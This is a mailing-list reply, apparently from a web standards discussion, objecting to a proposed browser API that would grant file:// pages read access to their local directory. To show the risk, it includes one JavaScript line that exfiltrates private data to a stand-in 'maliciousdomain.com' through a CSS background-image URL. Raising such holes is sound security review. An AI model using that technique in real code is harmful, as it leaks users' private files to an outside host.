David Kendal 於 4/9/2017 4:51 AM 寫道:
A proposed solution, though far from the only one possible:
There should be a new API something like this:


which does something like

- If permission was already granted for the specified requestedOrigin or
   some parent directory of it, return true.

- If the current page origin is not a URL on the file: protocol, raise a
   permissions error.

- If requestedOrigin does not share a root path with the current page
   origin, raise a permissions error. That is, a file with the name
   file:///mnt/html/index.html can request access to file:///mnt or to
   file:///mnt/html, but *not* to file:///etc, where it could read the
   local password file.

- The browser displays an alert to the page user showing the name and
   path to the directory which has requested this permission. The user
   can then choose to allow or deny access.

- If the user chose not to allow access to the files, false is returned
   or some other error is raised.

- If they chose to allow access, return true.

- For the remainder of the session (user agent specific), all files
   in the requestedOrigin directory, including the current page, have
   total read access (with Fetch, XHR, etc.) to all other files in
   the directory.
So if you put this file in the Windows Downloads directory, then it has read access to all download files even though they aren't related? And it grants access to all of those files—some of which may also be HTML-based applications—again, even if they aren't related? If the user is instructed to place it in the root directory and then grants it permissions, it has access to read the entire operating system?

What if the file is used to dynamically write a CSS style declaration as in:

some_element.style.setProperty("background-image", "url('http://maliciousdomain.com/?private-info="; + private_info + "')");

How do you address this security hole?

Reply via email to